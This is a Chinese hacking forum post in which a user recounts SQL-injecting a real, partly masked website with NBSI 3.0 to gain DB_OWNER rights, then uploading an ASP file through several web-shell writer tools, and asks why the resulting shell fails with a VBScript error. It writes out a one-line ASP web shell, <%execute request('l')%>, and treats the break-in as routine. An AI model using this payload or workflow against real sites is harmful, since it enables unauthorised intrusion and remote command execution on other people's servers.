[讨论]关于注入后得到DB_OWNER权限的Getwebshell提交成功却无法连接 OWNER, Getwebshell, 权限, 讨论

richy

[讨论]关于注入后得到DB_OWNER权限的Getwebshell提交成功却无法连接
议题作者：Yyb1813
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

经过几小时的测试，依然没办法将站拿下传马不成功。

使用软件nbsi3.0找到注入点，权限为：DB_OWNER,知用户名不知密码，拿到数据库：tv_Data

使用nbsi3.0查找目录却无法查到网站目录，应而使用明小子猜到同一服务器下的一目录为：e:\web\mpo\此站点支持asp 并且网站为: http://www.***.com/ 可以打开。


使用nbsi3.0自带的Getwebshell却无法将文件写入e:\web\mpo\001.asp
查看发现001.asp写不进去。

使用GetWebshellah56bug大众版.也不行。

最后使用：xiaolu写的Getwebshell提交后将文件成功写入。查看：e:\web\mpo\001.asp
存在。

打开对应网站：http://www.***.com/ 001.asp提示如下：

Microsoft VBScript 编译器错误 错误 '800a0408'

无效字符

/001.asp，行 4338

I?扴?

=============为什么会这样？？？
我用一句话修改去连接无效。用蓝屏一句话连接也无效，修改xiaolu写的Getwebshell为蓝屏等的连接：<%execute request("l")%>
多种方法还是没办法成功，连接不上。

我要如何做了。搞了一天没解决。

[s:92]
帖子66 精华0 积分209 阅读权限40 在线时间46 小时 注册时间2006-1-19 最后登录2008-7-12 查看详细资料引用 报告 回复 TOP 少女暴富的隐秘（图）


first_0
晶莹剔透§烈日灼然